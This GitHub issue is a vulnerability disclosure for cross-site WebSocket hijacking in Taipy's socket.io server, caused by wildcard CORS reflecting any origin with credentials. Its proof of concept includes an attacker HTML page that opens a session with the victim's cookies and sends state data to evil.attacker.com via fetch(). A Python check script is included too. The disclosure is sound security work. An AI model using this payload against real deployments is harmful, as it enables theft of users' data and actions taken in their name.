Skip to content

Cross-Site WebSocket Hijacking via wildcard CORS in socket.io server #2890

Description

@geo-chen

🔍 What went wrong?

reported on 2 June 2026 https://github.com/Avaiga/taipy/security/advisories/GHSA-x2j8-rqpx-jw63 - no response.

Summary

Taipy's GUI server initializes its socket.io server with cors_allowed_origins="*", which causes flask-socketio/python-engineio to reflect any client-supplied Origin header in Access-Control-Allow-Origin while also setting Access-Control-Allow-Credentials: true. This combination allows any web page on any domain to establish a credentialed cross-origin socket.io connection to a Taipy application running in a victim's browser context. An attacker can read and write all Taipy state variables, trigger any on_action callback, initiate file downloads, and exfiltrate application data -- all without the user's knowledge and from a completely different domain.

Details

In taipy/gui/servers/flask/server.py, the _FlaskServer.__init__ method builds the socket.io configuration:

socketio_config: dict[str, t.Any] = {
    "cors_allowed_origins": "*",   # line 97 (HEAD) / line 94 (4.0.3)
    "ping_timeout": 10,
    "ping_interval": 5,
    "json": json,
    "async_mode": async_mode,
    "allow_upgrades": allow_upgrades,
}
self._ws = SocketIO(self._server, **socketio_config)

The "*" string is passed to python-engineio's Server.__init__ as cors_allowed_origins. In engineio/server.py, the _cors_allowed_origins method interprets "*" as allowed_origins = None (meaning all origins are allowed), and _cors_headers then mirrors the actual HTTP_ORIGIN header from the request into the response:

elif self.cors_allowed_origins == '*':
    allowed_origins = None
...
if 'HTTP_ORIGIN' in environ and (allowed_origins is None or environ['HTTP_ORIGIN'] in allowed_origins):
    headers = [('Access-Control-Allow-Origin', environ['HTTP_ORIGIN'])]
if self.cors_credentials:   # default True
    headers += [('Access-Control-Allow-Credentials', 'true')]

The result is that for any incoming Origin: https://evil.attacker.com, the server responds with:

Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true

Browsers permit credentialed cross-origin requests only when the ACAO header carries the exact requesting origin (not *), so the credential flag is honored. An attacker page on any domain can therefore open a full socket.io session to the Taipy app with the victim's cookies attached.

The Taipy WebSocket API (_manage_ws_message in gui.py) processes UPDATE, ACTION, DATA_UPDATE, and REQUEST_UPDATE message types. These allow reading and writing all bound state variables, invoking all registered on_action callbacks, and triggering file download flows -- without any CSRF token or per-message credential check beyond the session cookie.

Verified against taipy-gui 4.0.3 (installed) and commit 5bcb574 (develop/4.2.0.dev9). Both branches contain the same configuration.

PoC

Prerequisites: A Taipy app running on http://victim.company.com:9720/ with any state variables and/or on_action callbacks defined.

Proof of origin reflection (run from a separate machine or curl with Origin header):

GET /socket.io/?EIO=4&transport=polling HTTP/1.1
Host: victim.company.com:9720
Origin: https://evil.attacker.com

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true

0{"sid":"OP_Pr1LzX64ydGOCAAAJ","upgrades":["websocket"],...}

Attacker HTML page to drive the victim's Taipy session:

<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.7.4/socket.io.min.js"></script>
<script>
// Victim is on https://victim.company.com:9720
// Attacker page is on https://evil.attacker.com/attack.html
// Browser will include victim's cookies because Allow-Credentials is true

const socket = io("https://victim.company.com:9720", {
  withCredentials: true   // browser sends victim's cookies
});

socket.on("connect", () => {
  console.log("[+] Cross-origin socket.io connected! SID:", socket.id);
  // Get a Taipy client session
  socket.emit("message", {type: "ID", payload: {id: ""}});
});

socket.on("message", (data) => {
  console.log("[+] Server message:", JSON.stringify(data));
  // Exfiltrate state variables
  if (data.type === "MU") {
    fetch("https://evil.attacker.com/collect?data=" + encodeURIComponent(JSON.stringify(data)));
  }
});
</script>
</body>
</html>

Python PoC to confirm the vulnerability directly:

import urllib.request, json

url = "http://localhost:9720/socket.io/?EIO=4&transport=polling"
req = urllib.request.Request(url, headers={"Origin": "https://evil.attacker.com"})
with urllib.request.urlopen(req, timeout=5) as r:
    print("ACAO:", r.headers.get("Access-Control-Allow-Origin"))
    print("ACAC:", r.headers.get("Access-Control-Allow-Credentials"))
    # Outputs:
    # ACAO: https://evil.attacker.com
    # ACAC: true

Steps to reproduce end-to-end:

  1. Deploy a Taipy application (gui.run(host="0.0.0.0", port=9720)).
  2. Navigate to the Taipy app in a browser as a victim user.
  3. In another tab (or after storing session cookies), visit the attacker HTML page above.
  4. The attacker page connects to the Taipy socket.io endpoint with the victim's cookies.
  5. The attacker sends {type: "RU", payload: [...variables...]} to request state updates and receives the current values of all bound Python variables over the WS channel.

Impact

Any unauthenticated user who can trick a victim into visiting an attacker-controlled web page can:

  • Read all Taipy state variables visible to the victim's session (data tables, form values, PII, secrets stored in state).
  • Write arbitrary values to all mutable state variables, causing the application to behave as if the victim took those actions.
  • Trigger any on_action callback (button handlers, form submissions, pipeline executions) without the victim's knowledge.
  • Initiate file download flows (the _download mechanism), potentially exfiltrating files the victim has access to.

The scope is marked Changed because the vulnerability crosses from the attacker's origin into the victim's Taipy application domain.

📦 Taipy Version

4.0.3

📋 Additional Context (Optional)

📜 Code of Conduct

  • I have checked the existing issues to avoid duplicates.
  • I am willing to work on this issue (optional)

✅ Acceptance Criteria

  • A reproducible unit test is added.
  • Code coverage is at least 90%.
  • The bug reporter validated the fix.
  • Relevant documentation updates or an issue created in

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions